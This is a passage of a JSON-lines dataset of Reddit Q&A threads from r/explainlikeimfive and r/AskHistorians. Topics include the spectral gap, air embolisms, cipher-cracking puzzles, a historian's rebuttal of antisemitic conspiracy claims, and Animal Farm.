mathematics to determine the undecidable nature of the spectral gap, which they say they have demonstrated in two ways:\n\n\u201cThe spectral gap problem is algorithmically undecidable: there cannot exist any algorithm which, given a description of the local interactions, determines whether the resulting model is gapped or gapless,\u201d wrote the researchers in the journal paper.\n\n\u201cThe spectral gap problem is axiomatically independent: given any consistent recursive axiomatisation of mathematics, there exist particular quantum many-body Hamiltonians for which the presence or absence of the spectral gap is not determined by the axioms of mathematics.\u201d\n\nIn other words, no algorithm can determine the spectral gap, and no matter how the maths is broken down, information about energy of the system does not confirm its presence.\n\nThe research has profound implications for the field, not least for the Clay Mathematics Institute\u2019s infamous $1m prize to prove whether the standard model of particular physics, which underpins the behaviour of the most basic particulars of matter, has a spectral gap using standard model equations.\n\n\u201cIt\u2019s possible for particular cases of a problem to be solvable even when the general problem is undecidable, so someone may yet win the coveted $1m prize. But our results do raise the prospect that some of these big open problems in theoretical physics could be provably unsolvable,\u201d said Cubitt.\n\n\u201cWe knew about the possibility of problems that are undecidable in principle since the works of Turing and G\u00f6del in the 1930s,\u201d agreed co-author Professor Michael Wolf, from the Technical University of Munich.\n\n\u201cSo far, however, this only concerned the very abstract corners of theoretical computer science and mathematical logic. No one had seriously contemplated this as a possibility right in the heart of theoretical physics before. But our results change this picture. From a more philosophical perspective, they also challenge the reductionists\u2019 point of view, as the insurmountable difficulty lies precisely in the derivation of macroscopic properties from a microscopic description.\u201d\n\n\u201cIt\u2019s not all bad news, though,\u201d added Professor David P\u00e9rez-Garc\u00eda, from the Universidad Complutense de Madrid and ICMAT. \u201cThe reason this problem is impossible to solve in general is because models at this level exhibit extremely bizarre behaviour that essentially defeats any attempt to analyse them.\n\n\u201cBut this bizarre behaviour also predicts some new and very weird physics that hasn\u2019t been seen before. For example, our results show that adding even a single particle to a lump of matter, however large, could in principle dramatically change its properties. New physics like this is often later exploited in technology.\u201d\n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3wpe3f/eli5what_does_this_article_mean_when_it_says_a/", "answers": {"a_id": ["cxxzoid"], "score": [2], "text": ["Once upon a time it was thought that with enough information the course of the physical universe could be predicted.  This is sometimes referred to as 'deterministic' or 'laplacian deterministic predictability\" (laplace (sp?) being one who put forth this idea).  This even fits with everyday interpretation of science pretty well - we tend to think that the natural evolution of scientific understanding is such that someday most physical things in the world will be predictable - it's just a matter of finding all of the variables and then playing forward using good models.  \n\nThis articles tells us that the world is more complicated than that.  If you can't solve, you can't predict - the variables are unknowable by their very nature."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "dg6lfb", "title": "split ends. why do they happen, and why is it sometimes not at the end? also, how do they split into like five pieces sometimes?", "selftext": "Let's pretend this post is not in response to my dire need for a haircut.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dg6lfb/eli5_split_ends_why_do_they_happen_and_why_is_it/", "answers": {"a_id": ["f3acwu5"], "score": [3], "text": ["Split ends occur when the ends of your hair becomes brittle and dry due to exposure to chemicals or weather conditions. They can also occur if your hair isn't getting enough nourishment. Sometimes they split into many pieces because one piece that is spit could be split again (sort of like the end of a frayed rope, if you will). It could also be looked at as one side of your single strand of hair has had more damage than the other, which causes more splitting."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4jt2eb", "title": "when performing organ transplants, how do doctors prevent air embolisms?", "selftext": "It seems that reconnecting blood vessels carries a big risk for an air embolism, especially for heart transplants. How do the surgeons prevent this from happening?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4jt2eb/eli5when_performing_organ_transplants_how_do/", "answers": {"a_id": ["d39cc28", "d39dd0h", "d39eux9", "d39jmwu", "d39tp2y", "d39umfl"], "score": [72, 10, 11, 503, 5, 3], "text": ["I'm not sure exactly what takes place during the surgery to lessen the air introduced. But I do want to point out that you need lots of air for this to be a problem. \n\nI have a lot of friends who are nurses. One of the most brought up rants they go into is how someone was freaking out as they saw an air bubble forming in their IV. As they assume a small air bubble will cause immediate death upon Introduction to the blood stream. \n\nWhen in fact, you need a couple feet of solid air pocket for there to be any cause for concern. ", "Clamps. Lots of tight clamps. Clamp here, clamp there.. clamp over here until you need it.. clamp over here.. Clamp.", "Air embolisms cause problems when they enter arterial circulation, reach an organ like the brain or the kidneys, and cause ischemia (lack of blood flow) to the small area that they block off. \n\nThis typically can only happen if the pocket of air that is introduced travels through your veins, into the right side of your heart, and passes through a hole separating the atria of your heart called a [Patent Foramen Ovale](_URL_0_). A foramen ovale is a hole that all babies have during development in the womb, but typically closes before birth. 10-35% of people's foramen ovales don't close completely and therefore have small openings between the atria of their heart that in most circumstances do not cause problems. If you have an air embolus (or any type of embolus for that matter), it can travel from the right side of your heart to the left, and on to the brain or other organs via your arteries.\n\nThere have been documented cases of air embolisms occurring during transplantation procedures. It can be prevented by surgically closing the patent foramen ovale before transplantation or occluding the opening with a catheter (like the ones used in heart catheterizations). \n\nEdit: There are also various \"de-airing\" techniques used in lung and heart transplantation that promote removal of air from the organs and their associated vessels.", "A large syringe is used to flush the organ with saline solution expelling all the air...\n\nSauce: I was a surg tech and worked with the transplant team.", "When the patient is on the heart lung machine (when the transplant is actually happening) there is a clamp across the aorta, blood is then pumped above this clamp into the patient in order to give them oxygenated blood. Underneath this is a needle to give a drug called cardioloplegia and this needle can also be used as an aortic root vent, this sucksthe air out of the aorta (when the cross clamp is preventing it from reaching the brain). \n\nThe anaestathist can also use a scanner in the patients throat to look at air within the heart,  if there is some stuck near a wall or valve the surgeon can shake the heart gently or massage it to get it moving. The surgeon will also ask for the lungs to be turned on,  so they move and squeeze the heart. \n\nThe answers that are given kinda forget that you are attaching an organ to the aorta, and if any air goes into that it will be directly in your brain and cause huge problems and flushing it with air a 2 hour drive before its but in the recipient isn't really appropriate, neither are comments saying 'a little bit of air is ok- it's really not if it goes right into your brain, as it would from the heart. ", "ELI5: what's an air embolism?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.heart.org/idc/groups/heart-public/@wcm/@hcm/documents/image/~extract/UCM_469589~2~staticrendition/large.jpg"], [], [], []]}
{"q_id": "5ko6jm", "title": "why can my phone's camera see much clearer in the fog/rain than my human eye?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5ko6jm/eli5_why_can_my_phones_camera_see_much_clearer_in/", "answers": {"a_id": ["dbpeqlh", "dbpn2hl"], "score": [39, 7], "text": ["Aperture: the iris on your camera is smaller than the iris in your eye giving rise to less scattered light from the fog getting into your camera than your eyeball. The result is the camera seeing less scattered light and seeing more signal; your eye sees more scattered light leading to a lower contrast image on your retina. ", "Just to add to u/chememjc 's answer, something my physics professor told me: the sensor that converts light to an electrical signal is made of silicon (it's a silicon photodetector which is basically just a diode). Because of its particular bandgap, it's a better sensor for infrared wavelengths than for visible light. And longer wavelengths(red/infrared) scatter less than smaller wavelengths (blue). \n\nSo what this means is that the camera is simply better at sensing the part of light that scatters less. The human eye is best at sensing green light which has a smaller wavelength than red or infrared.  Therefore by its design, it is just more sensitive to the part of light that scatters more. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "52g32d", "title": "when one pours soda into a cup, why does the \"head\" of mt dew dissipate in seconds (almost as fast as one can pour), but the \"head\" of ones coke takes minutes to dissipate?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/52g32d/eli5when_one_pours_soda_into_a_cup_why_does_the/", "answers": {"a_id": ["d7jxomo"], "score": [3], "text": ["Coke has higher surface tension that mountain dew, so it forms stronger bubbles which take longer to pop.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a391at", "title": "why are people in lower social-economical/more disadvantage/poor more likely to smoke?", "selftext": "I was doing some research for an essay for health at uni, and I'd always thought this was the case but I had no idea of how much more prevalent it is when comparing.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a391at/eli5_why_are_people_in_lower_socialeconomicalmore/", "answers": {"a_id": ["eb4c851", "eb4dh6n", "eb4exbm", "eb4wk2j", "eb52647"], "score": [7, 6, 20, 2, 6], "text": ["Targeted sales to poorer people and ethnic minorities is a thing. For political reasons I could speculate, but I don\u2019t have facts. ", "You get a high from cigarette smoking. It helps you to deal with stress. Generally, being stressed is something that happens a lot to poor people. Ergo. Stressed means smoking means high means more relaxed. ", "I can't speak on statistics, but in my experience, life is generally more stressful and depressing while living below the poverty line. Cigs are a quick and easy vice, plus they are much more common and acceptable in lower class communities than in upper class ones. There are fewer public smoking restrictions, reeking of smoke at work is okay, and pretty much everyone smokes. Upper class communities have become more health-conscious, so more people don't like it. Finally, lower class jobs tend to have long, irregular hours so coffee isn't usually enough to motive. ", "This is my first answer on this sub or even on reddit so I\u2019ll do my best. My interpretation of the situation being that there\u2019s nicotine in cigarettes. When a person is placed in a negative or confrontational situation the brain starts to freak, which is where anxiety and stress occur, simply put. Scientifically put, there\u2019s a threshold that, when passed, causes your motor neurons to fire emergency signals to the Amygdala (a tiny part of the brain responsible for fear, anxiety, and stress). This releases cortisol, releases adrenaline, and redirects blood to essential organs and bodily functions. As the brilliant Dr. Robert Sapolsky once said, \u201cThere\u2019s no time to ovulate when you\u2019re running for your life.\u201d Any I\u2019ll get back on topic, nicotine is a powerful hook, almost as addictive as sugar. Nicotine provides a buzz that slows the amygdala\u2019s processing speed, and there\u2019s a buzz that releases the happy neurotransmitter, dopamine. Long story short, it makes the person forget about the situation for a few seconds and gives them something to twirl or play with while they\u2019re thinking. ", "Broke person who used to smoke here. Because we don't have many other pleasures to look forward to, and it provides an immediate hit of pleasure / an escape from the day. When you have no money, life swings between boring, depressing and stressful and cigarettes provide an escape. The hit from cigarettes is also *guaranteed* - yeah, I could save a bit of cigarette money and see a film, but what if that film turns out to be mediocre? When you don't have much to spend, you want *guarantees*.\n\n\nWhen I was broke and quit smoking, yeah maybe I could walk a bit faster, but it didn't seem worth it. It's analogous to how somebody more affluent might know they'd be healthier if they didn't enjoy delicious steaks and lovely champagne all the time, but enjoyment in life is important. We have access to less and our daily lives are worse."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "96n76n", "title": "what *exactly* are the physics of opening a bottle of champagne with a sword/sabre/knife, and why did they even start doing it?", "selftext": "I've seen folks open one with a knife, sword, or the like, but can someone explain the physics of it (I \"kind of\" get it, but a ELI5 would be nice).\n\nOptionally, how did it become a \"thing to do\"--weren't there easier ways of opening Champagne before?\n\nMy searches:\n\nsite:_URL_0_ open a bottle of champagne sword\n\nsite:_URL_0_ open a bottle of champagne sabre\n\n**EDIT:** Interesting.  All this time, I thought they were sabreing off the *cork* itself, not the *neck of the bottle*.  Don't know how I feel about the risk of getting any glass in my bubbly, though.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/96n76n/eli5_what_exactly_are_the_physics_of_opening_a/", "answers": {"a_id": ["e41q7ic", "e4240wo"], "score": [2, 3], "text": ["The knife breaks the bottle neck at the weakest point (ie. The point where the ridge/ring around the mouth ends) and the pressure of the champagne pushes it and the tiny bits of glass away. That's why you should always spill a bit, and not drink from the neck (which is broken and therefore sharp glass).\nI assume it became a thing because people started posting videos of doing it, and it's fun and relatively safe, so why not also do it and post videos of it?", "It started because there was an officer in an army with a bottle of champagne he wanted to drink and he had no corkscrew, but he did have a saber. "]}, "title_urls": [], "selftext_urls": ["www.reddit.com/r/explainlikeimfive/"], "answers_urls": [[], []]}
{"q_id": "6mo2iw", "title": "Friend on FB began posting some nasty anti-Semitic claims, may I please have a reality check on his statements? The post in question said that Jewish people were a small portion of the population, but controlled all banking assets and 70 percent of the courts.", "selftext": "What I was taught in school was that these are half-truths twisted to become part of Hitler's Big Lie - Jewish people may have been over-represented in fields such as banking (not nearly as much as the dude on FB suggests), but that is because of their high literacy rate and because of historical prejudices of surrounding peoples that drove them into certain fields - thus making it ironic to blame them for being in those fields to begin with.\n\nAs a follow up to my original question - how accurate is the version of events I was taught in school, and is there a more modern and complete understanding of the situation?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6mo2iw/friend_on_fb_began_posting_some_nasty_antisemitic/", "answers": {"a_id": ["dk3whmf", "dk44m5o", "dk4nfc0"], "score": [40, 3, 19], "text": ["It might be helpful if you (or he) would specify what population. The German one? Or maybe the European population or global population as a whole? ", "Courts as in courthouse or court as in monarchy?", "Expanded [from an earlier answer of mine](_URL_0_)\n\nThe OP's memory of their schoolbooks is more or less correct. Jews may have made up ca. 1% of Weimar Germany's population, but they were more likely to be professionals and middle class status. This was not the result of some sinister Jewish conspiracy, but the natural result of long-term trends. \n\nOne of the overarching facets of Central European Jewish life over the course of the long nineteenth century was the growing professionalization of Jews. Long-standing cultural commitments to education as well as Jewish participation in the Enlightenment contributed to conditions that allowed Jews to rise up into a bourgeois order during the drawn-out process of Emancipation in the various German states. Legal and social restrictions against Jews certainly remained an ever-present reality for German Jews and the professionalization of German Jews favored occupations that were much more open to Jewish participation. Fields like medicine, the law, and journalism did have a strong Jewish presence in nineteenth-century Germany, although Jews did not dominate them as many antisemites held. Ironically, state antisemitism likely contributed to this long-term trend of professionalization by cracking down on occupations traditionally associated with Jews such as hawking wares or pawnshops. The professional fields Jews tended to enter into were also comparatively low-status in mid nineteenth-century Germany. It was only by the latter half of the nineteenth century and early twentieth century that fields like medicine started to gain in prestige. And some professions like the law or journalism never fully got rid of their associations with obscurantism or unsavory associations with mass modernity. Additionally, it also bears stressing that while a large portion of German Jews were becoming middle-class, there was also a number of poorer German Jews whose numbers were not insignificant. There were Jews among the working classes and also refugees from tsarist pogroms. Nonetheless, the collective picture of German Jews by 1900 was one that had arisen to a respectable bourgeois status.\n\nAs the social position of Jews changed, so too did the antisemitism in Western and Central Europe. Biological antisemitism, pioneered in the nineteenth century by the likes of the French racial theorist Arthur de Gobineau, began to displace religious-based antisemitism such as the blood-libel. Antisemitism also adapted to new fears about both industrialization and immigration. Fears of Jewish bankers and industrialists controlling the global economy became more common in the *fin de si\u00e8cle* and popularized by the likes of Lueger's Christian Socials or tracts like the fictitious *Protocols of the Elders of Zion*.  Adding to this brew was a refugee crisis of so-called *Ostjuden* (Eastern Jews) from the Russian empire. Pogroms targeting Jewish communities in the Pale of Settlement began with the assassination of the Tsar Liberator Alexander II and continued intermittently through the First World War and Russian Civil War. This led to a good deal of Russian and Ukrainian Jews to make their way into Central Europe. Unlike the largely acculturated Central European Jews, the *Ostjuden* were largely unassimilated and significantly poorer than their Central European counterpart. As such, these refugees hewed to preexisting stereotypes and antisemitic tropes about alien and dirty Jews who refused to move with the times. This antisemitism in a new key often blended older expressions and modes of antisemitism. Anxieties about Jewish moneylenders soon gave way to concerns about global finance. Likewise, the blood libel became stripped of its religious connotations and instead became reflective of Jews' innate depravity. \n\nThe First World War helped foreground this modern form of antisemitism. Not only were there more Jewish refugees from the East, but Jews became a question mark with the increased importance of nationalism in fighting the war. European nationalism had a strained relationship with Judaism in which their confessional identity made them outsiders to the larger nation, and the war sharpened this distinction, especially for states that found themselves under acute wartime stress. In Germany, fears of German Jews shirking their patriotic duty led to a census of the frontlines in 1916 (which ironically proved that Jews were *more* likely to serve on the front). But despite the evidence of the census, the sentiment that Jews did not pull their own weight was not uncommon in both Germany and Austria-Hungary during the war and after. Antisemitic variations of the *Dolchsto\u00dflegende* were also not uncommon,  especially among the postwar *Freikorps* and the radical right. The Bolshevik revolution in 1917 also gave new ammunition for antisemitism and antisemitic discourse highlighted  the often fictive Jewish background of the Bolsheviks as evidence that the Jews were controlling both capital and its ideological opponent, communism, in a concentrated plot to destroy the West. \n\nThis antisemitic invective often picked up on existing facts, such as prominent Jews in banking or the government like Walther Rathenau, but twisted them all out of proportion to reality. Moreover focusing on raw numbers also sidestepped inconvenient developments that contradicted a picture of Jewish domination of German institutions. Jews did have an outsized importance in German banking in the early twentieth century, but these were private, family-owned banks. Established firms like the Bleichr\u00f6der bank, which was Bismarck's personal banker, were giving way to larger conglomerates like Deutche Bank. Many of these new firms were founded by gentiles and also had the character of the emerging modern complex corporate structure. There were Jewish directors for institutions like Deutsche Bank, but the very nature of these impersonal institutions made them easy to replace and keep the status quo. This made these concerns  quite conducive to later Aryanization after 1933; the directors could purge their Jewish colleagues but more or less keep the same corporate structure. This was not the same experience as a Jewish family-owned businesses, which were already vulnerable due to declining revenues, which either had to sell outright or relocate outside of Germany. Both options during the Third Reich were costly and prone to exploitation as the Nazi state made fleecing of Jews legal. \n\nJews during the Weimar period were themselves fairly well-integrated into German society, but that did not eliminate antisemitic barriers. Men like Rathenau were the exception for Jewish success as there still were significant social barriers to advancement within German institutions. Nonetheless, this national minority had become quite professionalized and middle-class as a whole. The resurgent antisemitism of the war and early postwar years did alienate some German Jews from society and there was a growth to the political fringes of Zionism and communism. But Weimar's Jews for the most part tended to support the Republic and the various center-left and center-right liberal parties. But they were far from a powerful faction within Weimar politics as Jews at best comprised of around 1% of the German population. \n\nWeimar's Jews might have been loyal to the Republic and its political parties, but this was largely a one-sided loyalty. Jews only managed to serve as deputies in the SPD or liberal parties in the Reichstag. For all of the antisemitic conspiracies about a Jewish-dominated KPD the Weimar KPD's leadership consciously decided not to put Jews in prominent positions within the Party.  Edmund Silberner's research into this question estimated that in 1927, Jews accounted for 0.7 % of the KPD's members, although exact numbers are difficult to gauge since the KPD did draw in individuals with Jewish ancestry who were non-practicing or did not regard themselves as Jews. The right-wing and conservative parties like the DNVP largely had no Jewish members and their platforms often used antisemitism for electoral ends. This does not mean there were not conservative or right-wing nationalist Jews in Weimar. The Austrian-Jewish journalist Joseph Roth recalled an incident in which a Jewish banker welcomed Hitler's ascent to power and claimed that Hitler would only use violence against poorer Jews that deserved it, upon which Roth slapped him in the face and called the banker \"Jewish swine.\" \n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.reddit.com/r/AskHistorians/comments/5h6r24/i_have_a_question_about_german_antisemitism/"]]}
{"q_id": "1t7uzv", "title": "how can someone \"crack\" an encoded message and/or find the encryption key? (contains sample message for you to crack)", "selftext": "Found lots of posts about how encryption in general works, but not much information on how simple encryption can be broken (like the kind used in WWII). Can I just take a secret message and a simple key and apply some function: f(message, key) = output? \nPeople say that is easy to crack... how? If possible, please show me. Here is an encoded message:\n\n~~[-29, 3, 86, 51, 34, 19, 6, 21, -63, 6, 15, 4, 16, 5, 6, 5, -63, 14, 6, 20, 20, 2, 8, 6, -62, -63, -28, 19, 2, 4, 12, -63, 14, 6, -49]~~\n\nThe key is just an integer... and obviously I wont tell you the encoding function, but it is very simple. I will also tell you that each number corresponds to one character in the message. \n\n**EDIT:** My cipher had a bug (although one could also call it a \"feature\"!). The message I was encoding was:\n\n\"A secret encoded message! Crack me.\"\n\nThe *correct* encoded array should have been:\n\n[-29, 3, 118, -37, 62, -80, 21, -119, -87, 14, 124, -33, 78, -78, 23, 123, -101, 8, 109, -32, 83, -76, 27, -128, -95, -63, 4, 118, -41, 58, -91, -59, 50, -105, -59]\n\nHere is another encoded array for another message:\n\n[3, 117, -18, 14, -126, -15, 17, -124, -13, 95, -43, 58, 90, -50, 54, -97, 18, 50, -95, 15, 116, -107]   \n\nIf you can either solve this and show me how, or just tell me an approach that works without solving it yourself, you will have answered my question... how *can* a simple cipher be broken?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1t7uzv/eli5_how_can_someone_crack_an_encoded_message/", "answers": {"a_id": ["ce58e1j", "ce58nv7", "ce58w41", "ce5anti", "ce5dne3", "ce5emjo", "ce5ffrn", "ce6sh8m"], "score": [4, 2, 2, 22, 2, 3, 7, 2], "text": ["The simple function you're talking about is called the cipher. The cipher takes the original message (\"plain text\") and combines it with the key to give the coded message (\"cipher text\"). This process is encryption. Combining the cipher text with the appropriate key gives the plain text again, called decryption.\n\nCracking a code if you know the cipher basically comes down to finding the key. The simplest approach is called \"brute force\" and just means trying all possible keys until you find one that works. Many of the WWII codes were cracked this way using some of the very first digital computers (the Allies figured out the cipher by capturing German and Japanese code machines).\n\nIf you don't know the cipher, the process is more complicated but basically comes down to analyzing the cipher text for patterns, using that to make educated guesses about how the cipher works, trying keys, and iterating. \n\nIn general, codebreaking is an extremely slow, methodical, painful process.", "Inferring from that your post is in english, I can reasonably m,make the assumption that the message uses the English alphabet and its English words that its encoding.   From there I can take your encoded message  and apply pattern checks that apply to the English language.      ", " >  how simple encryption can be broken (like the kind used in WWII)\n\nSome of the encryption used in WWII was quite sophisticated, and required many, many hours of intelligence and code-breaking work to crack. I think you're selling short the efforts of codebreakers the world around when you say this.", "[Frequency analysis](_URL_0_) shows that 6 is the most common number (6 occurrences) followed by -63 (4) and then no other number occurs more than twice. \n\nTellingly, the number 20 appears only twice, but is sequential. This points strongly to it being a repeat of the same letter, without a rolling cipher.\n\nWith a frequency of 6/35 (17%)  \"6\" looks very likely to be \"E\" or potentially \"T\" (9% in english) or one of the vowels \"A,O,I\" - the next most commonly occurring.\n\n[The most common doubles](_URL_1_) are LL and TT, then EE, and SS followed by OO. So \"20\" is very likely one of these 5 options, with others being a lesser probability (in the order of less than 10 in 10,000 occurrences).\n\nHowever, your message has context: You're posting it on Reddit. We have an \"E\" (6) followed by a double \"20\"... I'm thinking That the string 14,6,20,20,2,8 might represent \"Reddit\". This means that 14=R, 6=E (matching our statistical analysis), 20=D, 2 = I and 8 =T\n\nSeeing as we can't rely on frequency and statistics too much, with only 35 sample characters and only 21 unique, it's now time to look at your string: \nWe've got potentially REDDITE-----I-  - could the next word be \"EXPLAIN\" given the context of the message?It fits.  That could mean \n-62 = X (occurring only once), -63 = P, -28=L, 19 = I\nA, 4=N\n\n\nNow, looking back at my frequency table, only 2,4,5,14 and 19 occur twice, and I've had a guess at all but 5. Given that all the other top spots are already occupied, I'm guessing that 5 is likely to be S, or H, both unknown at this time.\n\n[At this time, this is what my worksheet looks like](_URL_2_)\n\nIf I was better at maths I feel I might be able to spot a pattern in my conversion table across the top there. Alas, I can't. Clearly your function is some kind of expansive one, in that it expands 26 letters out to a range of -63 to 86. A more purely mathematical method might be to look at the numbers in isolation, and look for common factors for example. It's often possible to reduce the cipher down to the key through purely mathematical or statistical means.\n\nNow, I may have barked up the wrong tree, because I have a problem with \"-PRE-\" at the end there... unless your last word is PREY and the last three words are REDDIT EXPLAINS PREY or REDDIT EXPLAIN YPRES or something...\n\nBut hopefully following my thought process has given you the hooks you need to understand how code breakers get into a code from knowing virtually nothing. Context is very important, Frequency analysis (once you've stripped a way layers that act to obscure it)\nmay well give you a fairly simple matrix of possibilities for the first few letters, after which it's essentially a crossword puzzle.\n\nAmazingly, English world war 2 codebreakers were able to decipher japanese code without anyone able to speak the language, through mathematical analysis.\n\nI really hope I was on the right track there, if not then it's no great shakes to re-work some steps and get back on track. REDDIT I'm pretty sure of, since we're here. EXPLAIN not so much....\n\n**Edit I think you've used an Affine Cipher** - Well, half on one that outputs the numerical value before encoding to alphanumeric. Solution should be something like: (21(y-8)) mod 26:\n\n**EDIT again:** Nope, simple substitution cipher and I WAS on the right track (going to the wrong station!). See comments for the very nice brute force solution as found by /u/leftbot\n\nThe mapping is:\n\n    -63    -62   -49   -29\t-28\t2\t3\t4\t5\t6\t8\t12\t14\t15\t16\t19\t20\t21\t34\t51\t86\n    Space\t !    \t.\t  ~\tC\tA\t~\tC\tD\tE\tG\tK\tM\tN\tO\tR\tS\tT\tC\t~\t~\n\n(~ indicates corrupt code in the first 5 positions which are actually dupicates of E, C, S, A and Space)\n", "In WWII they also recognized patterns in the encrypted messages.  One message in the morning of every day was the weather report.  Another pattern they saw were salutations at the beginning of every message (Sir, General, etc).  \n\nYou use these common structures to use as context clues if, for example, every message you sent start with the day of the week one and easily make a cipher that decodes Monday's message to Monday.  On Tuesday they'll try the same cipher, shifting keys around, until they get Tuesday.  Then take note of any differences.  It takes a lot of time and the more messages that are sent, the easier it is to decipher.  A message like yours is most difficult because there are not many context clues (other than it's probably English with a replacement + function cipher).  Then we can look for repeated characters, common numbers (which correspond to the most common letters used in English).\n\nI love this topic and wish my university had a class specifically on it.  I did take a data compression course which can almost be the same thing (adapted a bit here and there).\n\nThe most complicated cipher would be one where you switch encoding methods multiple times within the same message at varying intervals.  Obviously there would still need to be some kind of pattern involved but the more complex the encoding, the longer it takes to encode and decode a message.", "So, I'm actually not very good at cracking code, but I've read some on the theory behind it:\n\nFirst of all--some vocab:  What you're talking about is called a cipher-text only attack, or an attempt to break a code given purely its encoded values.  This is pretty much the hardest way to break a code, and in real life, there is often context that can be used to deduce what is in the plaintext, or common English text, of the code.  You can see that AyCarrumba tried to take advantage of this in his solution.\n\nNext, we have Kerckhoff's principle, which states that (in the words of Shannon's Maxim) \"The enemy knows the system\", that is, your enemy knows your method of encryption, they just don't know the key.  This principle is not always true (this was a major stumbling block for people in these comments), but anyone who breaks code for a living is likely to have studied various methods a lot, and so it's a reasonable assumption.\n\nAnd that's probably the most important thing to explain--there are whole offices of the smartest mathematicians of the time that work on breaking codes, especially during wartime.  And this is in addition to whatever crazy computing power is usable in modern days.  And these people are very skilled to a level where they have studied and can break most simple codes.\n\nHowever, there are still codes that are almost impossible to break--for example, the RSA encryption.  These codes rely on processes that are easy to do in the forward direction, but nigh impossible to undo.  In RSA's case this is the factoring of a really, really huge number into two really, pretty-huge prime numbers.  These encryption systems have yet to be solved, for the most part, simply because there are some things at which computers are terrible, and factoring large numbers is definitely one of those things.\n\nSo essentially, if you used a basic system, like a substitution cipher or Caesar cipher (probably known as a shifting cipher), a good computer could crack it easily.  But if you used RSA encryption, we're screwed.  At least until quantum computing is a thing, but then maybe we'll have unbreakable codes, too! (if you like all of this cryptography, look into quantum stuff, it's pretty neat) \n\nTLDR: There are super smart people with expensive computers who can crack any easy code.  But it's almost impossible to crack certain hard codes no matter what.", " >  The simple cipher I'm using as an example uses the result from previous characters in determining the encoding for the current character.\n\nTaking that hint, let's suppose you did the simplest thing and generated each ciphertext character by adding the plaintext character to the previous ciphertext character.\n    c(i) = p(i) + c(i-1)\nThen\n    c(i) - c(i-1) = p(i)\nso we can recover the plaintext by subtracting consecutive ciphertext. This is just the first thing I tried based on your hints. If the answer hadn't immediately popped out, I might have tried stronger assumptions. Anyway, here's what we get:\n\n    3       [84]        [0x54]    T\n    117     114         0x72    r\n    -18     -135        0x79    y\n    14      32          0x20\n    -126    -140        0x74    t\n    -15     111         0x6F    o\n    17      32          0x20\n    -124    -141        0x73    s\n    -13     111         0x6F    o\n    95      108         0x6C    l\n    -43     -138        0x76    v\n    58      101         0x65    e\n    90      32          0x20\n    -50     -140        0x74    t\n    54      104         0x68    h\n    -97     -151        0x69    i\n    18      115         0x73    s\n    50      32          0x20\n    -95     -145        0x6F    o\n    15      110         0x6E    n\n    116     101         0x65    e\n    -107    -223        0x21    !\n\nThe second column is consecutive differences. The 32's jumped out immediately as likely to be spaces (ASCII 0x20). The other numbers all seemed to be in a narrow range, mostly in ASCII letter range, but some negative. I checked some of the negative values and found that treating as signed int and looking at the least significant byte gave a number in the good range. (Alternatively, add 256.) That's the third column. The first character is a guess based on context. The \"key\" is some integer to be added into the first plaintext character, acting as c(-1), and it looks like for this message the key was either -81 or 175.", "Poe's The Gold Bug is an absolutely amazing story, that gives a fantastic intro to the subject. Reading it when I was a little kid was my first contact with encryption, and I've been in love with it ever since. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Letter_frequency", "http://tigger.uic.edu/~jleon/mcs425-s06/handouts/doublechar_freq.pdf", "http://i.imgur.com/W3PhKAM.png"], [], [], [], []]}
{"q_id": "5omyjt", "title": "I am about to read Animal Farm for the first time - what should I know before I begin?", "selftext": "Well, technically the second time, but I only ever skimmed it once in high school for a reading project. I can barely remember a thing, besides it being a political allegory.\n\nA few pages into the preface and I'm getting a glimpse at how thoroughly the events and characters mirror the political state of our world at the time it was written. However, it has been a while since I have had a history class, and my knowledge of the Soviet Union, Leon Trotsky/Stalin, and socialism (also communism) of this time is very scant. Nor am I knowledgeable about Orwell's personal beliefs at the time either.\n\nFor those of you who have read the book, what should I know about this time period to get the most out of this book? I'm fairly confident I'd enjoy it without understanding the references. However, I love the connections between the book and the history, and I want to develop an understanding of both as I read.\n\nI also posted this in r/books but have decided to try here as well. Thank you all :)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5omyjt/i_am_about_to_read_animal_farm_for_the_first_time/", "answers": {"a_id": ["dcko29y", "dcmdbsc"], "score": [4, 2], "text": ["I wrote one of my research papers on the 1954 animated version of *Animal Farm* and went briefly into the history of this CIA sponsored British film for my European cinema class. The movie is worth checking out after the book, and I think you'll enjoy how different this adaption is compared to the book and you can easily see that the film, like the book, became a vehicle for anti-communist propaganda following WW2. \n\nFirst, Orwell published his novella just days after the end of World War 2, and initially, his political slant and anti-Stalinist views made it difficult for him to find a publisher. Remember that USSR had been a valuable ally for both the Americans and Brits, so it was unthinkable that such a scathing but disguised criticism of Stalin would be well-received by the public. \n\nThe book I referenced is *Orwell Subverted: The CIA and the Filming of Animal Farm* by Daniel Leab. In it, Leab talks about how Stalin was loved by the public, to the point of the average citizens at the time referring to him as \"Uncle Joe.\" Despite this as you know, *Animal Farm* received favorable reviews and enormous commercial success in both the US and Britain and not because readers somehow missed its obvious references to the USSR.\n\nDespite Orwell's focus on Stalin, it's likely that the book was intended to be an attack on totalitarianism as a whole. In his essay,  \"Why I Write\", Orwell briefly mentions *Animal Farm* as \"the first book in which I tried... 